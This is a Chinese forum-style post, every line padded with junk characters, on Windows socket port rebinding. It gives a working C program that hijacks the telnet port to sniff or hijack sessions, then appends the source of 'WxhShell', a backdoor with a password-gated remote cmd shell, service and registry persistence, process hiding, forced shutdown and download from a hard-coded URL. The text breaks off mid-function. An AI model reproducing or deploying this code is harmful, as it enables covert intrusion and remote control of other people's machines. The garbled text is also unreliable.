在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
tVJ}NI # s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
--*Jv"/0 uN1(l}z$ saddr.sin_family = AF_INET;
1I< <`7' 3_k.`s_Z saddr.sin_addr.s_addr = htonl(INADDR_ANY);
9AQMB1D*v4 LlAMtw" bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
'lwLe3.c ];X[x s 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
F!m/n!YR 0c*y~hUVZ 这意味着什么?意味着可以进行如下的攻击:
RzG7Xr=t Z9rmlVU6! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
$*EK
v'g[n d$~q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
\ci'Cbn\o C"
vj#Tx 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ox9$aBjJ &K
Ti[ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*h59Vaoc {=n-S2% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
;OjxEXaq x>MrB 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
4t3Y/X 0N02 E 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
D|`O8o?) !Yuu~| #include
7q_B`$ata #include
@&!`.Y oy #include
Th&-n%r9K #include
8%-+@\= DWORD WINAPI ClientThread(LPVOID lpParam);
KI&+Zw4VL int main()
SymBb}5 {
bF'Y.+"dr WORD wVersionRequested;
pU4k/v555; DWORD ret;
VKUoVOFvPR WSADATA wsaData;
&3a1(>(7F BOOL val;
ico%_fp SOCKADDR_IN saddr;
xb`,9.a7 SOCKADDR_IN scaddr;
ktQMkEj# int err;
YK(I' SOCKET s;
]PlDe8 SOCKET sc;
~dkN`1$v int caddsize;
%mLQ'$ HANDLE mt;
bvVEV DWORD tid;
dg#w/}}m wVersionRequested = MAKEWORD( 2, 2 );
3/+r*lv>X err = WSAStartup( wVersionRequested, &wsaData );
p(B>
N!: if ( err != 0 ) {
1CS[%)-c printf("error!WSAStartup failed!\n");
92y<E<n return -1;
Rw8l"` }
9='a9\((mH saddr.sin_family = AF_INET;
a:$hK%^
\ x4@v$phyH //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
d1MY>zq Z/#l~.o[ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
)a:j_jy saddr.sin_port = htons(23);
_
U/[n\oC if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
U;%I"
p`Z/ {
8WT^ES~C printf("error!socket failed!\n");
.Z[Bz7 return -1;
3]Jl\<0 }
VXr'Z val = TRUE;
(N63k1M //SO_REUSEADDR选项就是可以实现端口重绑定的
*=+m;%]_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
uL`6}0 {
>eF4YZ" printf("error!setsockopt failed!\n");
\1k(4MWd return -1;
v]`}T/n }
VU~
R //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
r?^[o //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
N!O.=>8< //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
U~%V;*|4 BK,h$z7#6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
T )QZ9a {
gDY+'6m; ret=GetLastError();
p72:oX\QI printf("error!bind failed!\n");
RPH]@ return -1;
\SA"DT }
-Fi{[%&u listen(s,2);
6O|B'?]Pf while(1)
hN(sz {
d=?Kk4Ag caddsize = sizeof(scaddr);
KC@F"/h`/ //接受连接请求
aD5jy sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
",U>;` if(sc!=INVALID_SOCKET)
2|J>e(&akY {
j,7NLb9M mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
}Mh@%2$ if(mt==NULL)
Qktj {
cba printf("Thread Creat Failed!\n");
#>I*c_- break;
9qhX\, h }
sTn}:A6 }
B@v\tpR CloseHandle(mt);
;S+UD~i[Bu }
x,f=J4yco closesocket(s);
p2v+sWO WSACleanup();
Ro&s\T+d return 0;
8T:?C~" }
WtT*
1Z DWORD WINAPI ClientThread(LPVOID lpParam)
{8'f>YP {
`v]|x,l+C SOCKET ss = (SOCKET)lpParam;
yvPcD5s5 SOCKET sc;
4
_*^~w unsigned char buf[4096];
'p%\fb6` SOCKADDR_IN saddr;
7Wd}H Z long num;
k0%*{IVPN DWORD val;
z.NJu
q DWORD ret;
Q]Kc<[E //如果是隐藏端口应用的话,可以在此处加一些判断
J}$St|1y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7Ya4>*B saddr.sin_family = AF_INET;
]Wc:9Zb saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
#FAy
]7/O saddr.sin_port = htons(23);
sZ-A~X@g if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
v;S_7# {
q<5AB{Oj? printf("error!socket failed!\n");
;y"=3-=vM" return -1;
K,ccM[hu| }
=jz*|e|V val = 100;
y:C=Ni&," if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
qy]tuKZI {
%OI4}!z@l ret = GetLastError();
!$q *~F"S return -1;
cO&(&*J r }
4,nUCT if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
V^v?;f? {
f
WUFCbSU ret = GetLastError();
z5V~m_RO return -1;
RDX$Wy$@L }
E%B:6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
;x]CaG)f {
!x%$xC^Iz printf("error!socket connect failed!\n");
B) 5QI closesocket(sc);
3lkz:]SsE closesocket(ss);
5$Q}Zxh return -1;
kjS9?>i }
5,i0QT" while(1)
PVNDvUce {
EFd9n //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
m2i'$^a# //如果是嗅探内容的话,可以再此处进行内容分析和记录
iSiez' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_4Ciai2Ql num = recv(ss,buf,4096,0);
c.<bz if(num>0)
l r16*2. send(sc,buf,num,0);
G_5uO58 else if(num==0)
^lI>&I&1 break;
}K
rQPg
num = recv(sc,buf,4096,0);
,Q7W))j if(num>0)
5a0&LNm send(ss,buf,num,0);
KOYU'hw else if(num==0)
p3Ey[kURp break;
z 2/E?$( }
V2v}F= closesocket(ss);
?}mbp4+j[ closesocket(sc);
q_J)68B R return 0 ;
qHU=X"rn }
4!l%@R>O2 x{o&nhuk[S vv F: ==========================================================
=!?4$vW @(b;H0r~ 下边附上一个代码,,WXhSHELL
Q5kf-~Jx+ >j%4U* ==========================================================
[ST,/<?0 MBjo9P( #include "stdafx.h"
T@{}! y)Y0SY1\j #include <stdio.h>
q'% cVM #include <string.h>
=
Ff 2 #include <windows.h>
$G,#nh2 oD #include <winsock2.h>
n'i~1pM,? #include <winsvc.h>
1kX>sajp~ #include <urlmon.h>
,;
81FK cBGR%w\t% #pragma comment (lib, "Ws2_32.lib")
^U5g7Emf #pragma comment (lib, "urlmon.lib")
8c1ma Ig.9:v` #define MAX_USER 100 // 最大客户端连接数
o 9?#;B$ #define BUF_SOCK 200 // sock buffer
[f8mh88r #define KEY_BUFF 255 // 输入 buffer
3|Vh[iAa\ v\#1&</qd^ #define REBOOT 0 // 重启
mO?yrM * #define SHUTDOWN 1 // 关机
saPg2N, f ^vz #define DEF_PORT 5000 // 监听端口
@i9eH8lT 8-"lK7 #define REG_LEN 16 // 注册表键长度
1OwVb #define SVC_LEN 80 // NT服务名长度
#P^cR_|\ ~HM,@5dFC // 从dll定义API
6u6,9VG, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
J+]W*?m typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
GcHy`bQbiX typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
5 `Mos typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
fRow@DI\ xO` `X< // wxhshell配置信息
mRYM, struct WSCFG {
yE3l%<;q int ws_port; // 监听端口
~4}'R_ char ws_passstr[REG_LEN]; // 口令
8b!-2d:* int ws_autoins; // 安装标记, 1=yes 0=no
LOPw0@ char ws_regname[REG_LEN]; // 注册表键名
:krdG%r char ws_svcname[REG_LEN]; // 服务名
m7n8{J1O2 char ws_svcdisp[SVC_LEN]; // 服务显示名
EPn0ZwnS:M char ws_svcdesc[SVC_LEN]; // 服务描述信息
Ra~|;(
%d char ws_passmsg[SVC_LEN]; // 密码输入提示信息
{~=Z%Cj2Q int ws_downexe; // 下载执行标记, 1=yes 0=no
:#pfv)W6t char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
[ELg:f3}5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
NZaMF. 61*inGRB };
PDQ\ND 920 o]Dh=t // default Wxhshell configuration
`;\<Fr struct WSCFG wscfg={DEF_PORT,
dJYW8pcKT "xuhuanlingzhe",
{] Zet}2 1,
%
a9C]? "Wxhshell",
ymr#OP$<S "Wxhshell",
Xb'UsQ "WxhShell Service",
d8V)eZYXy~ "Wrsky Windows CmdShell Service",
zF-M9f$_PY "Please Input Your Password: ",
FKVf_Ncf% 1,
A2xfNY< "
http://www.wrsky.com/wxhshell.exe",
1#OM~v6B "Wxhshell.exe"
M<KWx'uV };
&.4m(ZX iAd3w 6 // 消息定义模块
^~65M/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
s${|A= char *msg_ws_prompt="\n\r? for help\n\r#>";
Scfk]DT char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
O.+02C_* char *msg_ws_ext="\n\rExit.";
S @WzvM char *msg_ws_end="\n\rQuit.";
5Y}=,v*h} char *msg_ws_boot="\n\rReboot...";
Z'ZN^j{ char *msg_ws_poff="\n\rShutdown...";
x]X!nx6G char *msg_ws_down="\n\rSave to ";
/OaW4 b$Tz #sg^l>/* char *msg_ws_err="\n\rErr!";
m~xO;_m char *msg_ws_ok="\n\rOK!";
6t0-u~ *(pmFEc char ExeFile[MAX_PATH];
X61p xPa int nUser = 0;
fg8"fbG`: HANDLE handles[MAX_USER];
)K"7=TvY int OsIsNt;
EWX!:BKf p0b2n a
! SERVICE_STATUS serviceStatus;
no`> r}C SERVICE_STATUS_HANDLE hServiceStatusHandle;
}@'Zt6+tS zK@DQ5 // 函数声明
s+jL BY int Install(void);
-NgL4?p= int Uninstall(void);
<:gNx%R int DownloadFile(char *sURL, SOCKET wsh);
m-h+UKt int Boot(int flag);
}X;LR\^u[f void HideProc(void);
YlP8fxS int GetOsVer(void);
<6(&w9WY int Wxhshell(SOCKET wsl);
hiM nU void TalkWithClient(void *cs);
tPb$ua| int CmdShell(SOCKET sock);
B[8`l} t int StartFromService(void);
pndAXO:v int StartWxhshell(LPSTR lpCmdLine);
Z8yt8O /A{/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
6k%Lc4W VOID WINAPI NTServiceHandler( DWORD fdwControl );
,f(:i^iz! A['0~tOP // 数据结构和表定义
e>a4v8 SERVICE_TABLE_ENTRY DispatchTable[] =
g/v"E+ {
$w@0}5Q {wscfg.ws_svcname, NTServiceMain},
m0(]%Kdw {NULL, NULL}
,%uK^U.zk };
= "N?v- 61"w>;d6 // 自我安装
pMy];9SvW int Install(void)
x6BO%1 {
1P17]j2C char svExeFile[MAX_PATH];
ow!NH,'Hy HKEY key;
2xEG s Q strcpy(svExeFile,ExeFile);
oTjsiXS ;xKPa6`E // 如果是win9x系统,修改注册表设为自启动
WU"
Lu if(!OsIsNt) {
ha -KfkPFE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`ywI+^b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
q(C <w RegCloseKey(key);
=8!FY"c* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+YA,HhX9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
zP(UaSXz/ RegCloseKey(key);
F4|Z:e,Hr return 0;
v.~uJ.T }
j$u=7Z&E }
[G=+f6 a }
^jiYcg@_[ else {
E#L"*vh ~t ` uq // 如果是NT以上系统,安装为系统服务
{"x>ewAf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
4U1!SR]s if (schSCManager!=0)
`YinhO:Z {
OlwORtWzZ SC_HANDLE schService = CreateService
^ rB7&96C, (
2[;4D/`* schSCManager,
GqT0SP wscfg.ws_svcname,
jLy3c@Dp wscfg.ws_svcdisp,
cp&- 6 w+ SERVICE_ALL_ACCESS,
UDUj SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
"B~ow{3 SERVICE_AUTO_START,
|~Op|gs SERVICE_ERROR_NORMAL,
Zc<fopi h svExeFile,
S=R}# NULL,
yL#bZ9W
} NULL,
zv%9?: NULL,
:4(.S<fH)- NULL,
"kHQ}#6r NULL
5^}"Tn4I );
< SIe5"{ if (schService!=0)
dg?[gD8!4& {
h ?Ni5 CloseServiceHandle(schService);
iO 9fg CloseServiceHandle(schSCManager);
!RJuH;8 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
mqx#N% strcat(svExeFile,wscfg.ws_svcname);
_eE hIQ9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
~G;lEp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0CTUcVM#9 RegCloseKey(key);
eVVm"96Q.; return 0;
ZMI!Sl }
n&`=.[+A }
Rqk;!N CloseServiceHandle(schSCManager);
{} #W~1` }
)Ycjx~
}
vuOixAkw o!";&\,Ip return 1;
Do3g^RD# }
\}:&Hl+ !@r1B`]j+" // 自我卸载
8w:A"" int Uninstall(void)
bm &$wf {
[|XMR=\> HKEY key;
+8rGStv 4t%g:9]vr if(!OsIsNt) {
4l7FV<g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
6zJ<27 RegDeleteValue(key,wscfg.ws_regname);
" ^t3VjN RegCloseKey(key);
&<s[(w!%% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%LH~Im= RegDeleteValue(key,wscfg.ws_regname);
c%5G3j RegCloseKey(key);
%`kO\q_ return 0;
2I8RO\zR }
x]6wiV }
~> xVhd }
7%%FYHMO: else {
C6!P8qX -F]0Py8( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
5bfd8C if (schSCManager!=0)
'ot,6@~x> {
_olhCLIR- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
U1.w%b, if (schService!=0)
Tej&1'G {
TB8a#bK4 if(DeleteService(schService)!=0) {
m^9[k,;K CloseServiceHandle(schService);
|x
Nd^ CloseServiceHandle(schSCManager);
[i
] return 0;
2E*k@ }
+Vf39}8 CloseServiceHandle(schService);
aS7%x>.A! }
kY$vPHZpN CloseServiceHandle(schSCManager);
+FYQ7UE }
uia[>&2 }
" %,KZI $PNS`@B return 1;
G T3wJQ5N }
w<4,;FFlZ/ *1>zE>nlP // 从指定url下载文件
\0^ZNa? int DownloadFile(char *sURL, SOCKET wsh)
1Ar6hA {
>o#^)LN HRESULT hr;
Hf
]w char seps[]= "/";
uqN:I)>[P char *token;
UP*\p79oO char *file;
e@GR[0~ char myURL[MAX_PATH];
1l~(J:DT char myFILE[MAX_PATH];
=Y0>b4 us:V\V strcpy(myURL,sURL);
+(*;F4> token=strtok(myURL,seps);
.&Vyo<9Ck while(token!=NULL)
R>3a?.X {
fuwv,[m file=token;
gA&+<SK( token=strtok(NULL,seps);
]Q%|69H}B }
IO(Y_7 q,W6wM;,E GetCurrentDirectory(MAX_PATH,myFILE);
LMV0:\> strcat(myFILE, "\\");
RCS91[ strcat(myFILE, file);
:=<0Z1S send(wsh,myFILE,strlen(myFILE),0);
EK-Qa<[| send(wsh,"...",3,0);
/!u#S9_B hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
%?4G^f if(hr==S_OK)
P@u&~RN9f+ return 0;
=t+{)d.w else
`F#<qZSR return 1;
xSQ0] vE ddR_+B*H }
N'#Lb0`B \n@S.Y?P // 系统电源模块
/!r#=enG7 int Boot(int flag)
WF6'mg^^? {
Tz=YSQy$9 HANDLE hToken;
{GaQV-t TOKEN_PRIVILEGES tkp;
+Rtz`V1d e<wRA[" if(OsIsNt) {
O$> <E8q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
`%2e?"OOJ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Kp|#04] tkp.PrivilegeCount = 1;
.
k6) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
pearf2F AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
^jO$nPDd if(flag==REBOOT) {
4LCgQS6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
4b" %171 return 0;
C~2/ 5 }
[":[\D' else {
jU#/yM"Y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
doCWJ return 0;
kXj%thDx }
IZm_/ }
iw Hy!Vi-5 else {
!U,^+"l'GP if(flag==REBOOT) {
-jZP&8dPH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
/nK)esB1L return 0;
}T?MWcG4 }
XsldbN^6 else {
~IHjj1s if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
=A6/D return 0;
`0r=ND5. }
mGQgy[gX }
N.J;/!%! Tl#Jf3XY} return 1;
9`8\<a'rU }
+[ _)i9a N*PF&MyB // win9x进程隐藏模块
67I6]3[Z void HideProc(void)
7k<4/|CQ{ {
6~b~[gA )e)@_0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
26fm}QV if ( hKernel != NULL )
Fr%LV#Q {
&`a$n2ycy pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
tQ7DdVdix ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
gTK5z.] FreeLibrary(hKernel);
8s4y7%,| }
+uF!.!} ~Od4(
}/G return;
Sx,O) }
:E|HP#iwu 1i}Rc: // 获取操作系统版本
mT.p-C int GetOsVer(void)
}2Lh'0 xY {
#vy:aq<bjE OSVERSIONINFO winfo;
U.oxLbJ` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Ejdw"P" GetVersionEx(&winfo);
>G2o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
'3>kD H+ return 1;
l`2X'sw[/ else
I/bED~Z:a return 0;
,jBd3GdlZ }
H_'i.t 'SS XA~Rn>7&H // 客户端句柄模块
<z N int Wxhshell(SOCKET wsl)
z_#B 4 {
EXDtVa Ot SOCKET wsh;
@GGzah# struct sockaddr_in client;
[y
y D- DWORD myID;
0&U,WA t"`LJE._P while(nUser<MAX_USER)
$Yt29AQ {
<^,w,A
int nSize=sizeof(client);
j380=?7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
9?r|Y@xh ] if(wsh==INVALID_SOCKET) return 1;
;T2)nSAqt e{/(NtKf handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
|U?5%
L if(handles[nUser]==0)
yhe$A<Rl= closesocket(wsh);
*b?C%a9 else
?H7*? HV nUser++;
-
Z "w }
oC>QJ(o,8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
. m_y5J L0SeG: return 0;
&I.UEF2, }
mt7}1s,i[ (US]e
un
// 关闭 socket
OpY2Z7_ void CloseIt(SOCKET wsh)
%R5APMg1 {
n.C.th
>Y1 closesocket(wsh);
<ns[(
Q nUser--;
P}o:WI4.cB ExitThread(0);
GZ\;M6{oh }
58*s\*V`\ Qi|jL*mj& // 客户端请求句柄
buGW+TrWY void TalkWithClient(void *cs)
22|eiW/a {
vV1F| p5^,3& SOCKET wsh=(SOCKET)cs;
h&J6 char pwd[SVC_LEN];
n6;jIf| char cmd[KEY_BUFF];
i TY4X:x char chr[1];
SF 61rm int i,j;
.ag4i;hS8 i 8I%}8 while (nUser < MAX_USER) {
o|8
5<~` s)"C~w^ if(wscfg.ws_passstr) {
D%umL/[] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
rX6"w31 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
m;{_%oQ; //ZeroMemory(pwd,KEY_BUFF);
c&2ZjM i=0;
/Dj6Bj
} while(i<SVC_LEN) {
/hf}f=7kH ,v:m // 设置超时
,FX;-nP% fd_set FdRead;
DF'-dh</* struct timeval TimeOut;
$b\`N2J-_ FD_ZERO(&FdRead);
bL
(g$Yi FD_SET(wsh,&FdRead);
sT dD=> TimeOut.tv_sec=8;
jcQ{,9
H`l TimeOut.tv_usec=0;
s
S8Z5k; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
km'3[}8o& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
A!s\; C sM({u/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
qSj2=dlW pwd
=chr[0]; _*6nTSL
if(chr[0]==0xd || chr[0]==0xa) { r_T\%
pwd=0; }% JLwN
break; +T=Z!2L
} q2 D2:0^ 2
i++; @HJ&"72$<
} =6imrRaaV
$ x
6Rmd{
// 如果是非法用户,关闭 socket [o<R#f`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r]?ZXe$;
} i;c0X+[
D61CO-E(D
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y%k\=:m
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p>=YPi/d
?8. $A2(Xw
while(1) { xRW~xr2h@
@jO3+
ZeroMemory(cmd,KEY_BUFF); j]}A"8=1
!>-cMI6E
// 自动支持客户端 telnet标准 0Psp/H%
j=0; mq$'\c
9.
while(j<KEY_BUFF) { -0PT(gx
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;oVdkp
cmd[j]=chr[0]; M4pEwD
if(chr[0]==0xa || chr[0]==0xd) { vGO- a2Z
cmd[j]=0; vL@N21u
break; gxpR#/(E~
} 9=pG$+01OR
j++; $'dJ+@
} :\L{S
VdQ}G!d
// 下载文件 Z+)R%Z'aL
if(strstr(cmd,"http://")) { %)8`(9J*
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,x!P|\w.G{
if(DownloadFile(cmd,wsh)) [sp=nG7i&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rv
?Go2
else bKj#HHy\I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X0J@c "%0
} a \B<(R.
else { "0 \U>h
4%~$A`7
switch(cmd[0]) { w|gtb~oh
AJ[g~s't
// 帮助 mZ3i#a4
case '?': { 6c>t|=Ss(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S{{D G
break; vE7 L> 7
} BbUZ,X*Y
// 安装 \ }>1$kH;
case 'i': { o0&jel1a
if(Install()) |Y|{9Osus
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;Ab`UX#t
else 5WgdgDb@L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DtG><g}[]
break; Fh9`8
} .,(bDXl?
// 卸载 "AP''XNi
case 'r': { He^+>XIam
if(Uninstall()) YUJlQ2e(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bVSa}&*kM
else x0@J~
_0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZdeRLX
break; )VQ:L:1t(
} dbSIC[q
// 显示 wxhshell 所在路径 sh[Yu
case 'p': { \Xc6K!HJM
char svExeFile[MAX_PATH]; iq-n(Rfw~
strcpy(svExeFile,"\n\r"); 2-j+-B|i
strcat(svExeFile,ExeFile); , .uu/qV}w
send(wsh,svExeFile,strlen(svExeFile),0); RzQ1Wq
break; 55MsF}p
} \ F#mwl,>"
// 重启 Q\&FuU
case 'b': { .9+"rK}u
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y*;Z(W.V#
if(Boot(REBOOT)) >t7xa]G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \NKf$"x}
else { ^%-$8sV
closesocket(wsh); DhV($&*M
ExitThread(0); Fx2
KRxk
} CdlE"Ye
break; "{105&c\
} ~Tq
`c
// 关机 87c7p=/0`
case 'd': { Enm#\(j
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); //]g78]=O
if(Boot(SHUTDOWN)) lHv;C*(_=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8hba3L_Z
else { hH[UIe
closesocket(wsh); )dgXS//Y
ExitThread(0); )Q9m,/F
} jhrmQS
break; t%ye:
} Ac'[(
// 获取shell 7tMV*{+Z
case 's': { u$$@Hw
CmdShell(wsh); 5:/
zbt\C
closesocket(wsh); I!&|L0Qq
ExitThread(0); KlGPuGL
break; >(S4h}^I
} ZQ9!k*
^
// 退出 ?r0#{x~
case 'x': { _*h,,Q
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _R<eWp
CloseIt(wsh); EQ'iyXhEe
break; CdgZq\
} W&ya_iP~C
// 离开 ce th )Xm
case 'q': { BM!\U 6
send(wsh,msg_ws_end,strlen(msg_ws_end),0); /2pf*\u
closesocket(wsh); E</UmM+ R
WSACleanup(); (m80isl
exit(1); 9YRoWb{y
break; w~+5FSdH
} T#xCu|5
} k v1q\
} #\KSv
Z
pXf@Y}mH
// 提示信息 uN20sD}
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q1 ?O~ao
} Nl3x
BM%
} Og[NRd+
jOj`S%7
return; 7yo/sb9h
} X5 UcemO
B?9K! c
// shell模块句柄 uSCF;y=1g,
int CmdShell(SOCKET sock) QEK,mc3
{ OY7\*wc:
STARTUPINFO si; q+f]E&':
ZeroMemory(&si,sizeof(si)); gQ4Q
h;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HMGby2^+
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;SoKX?up5
PROCESS_INFORMATION ProcessInfo; }VxbO8\b(
char cmdline[]="cmd"; {$z )7s
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H((!
BRl
return 0; L&M6s
f$N
} )k@W6N
/Y@^B,6\
// 自身启动模式 nlJ~Q_E(
int StartFromService(void) o:B?gDM
{ . [DCL
typedef struct /3->TS
{ _yY(&(]#
DWORD ExitStatus; T-ID{i
DWORD PebBaseAddress; ^_ <jg0V
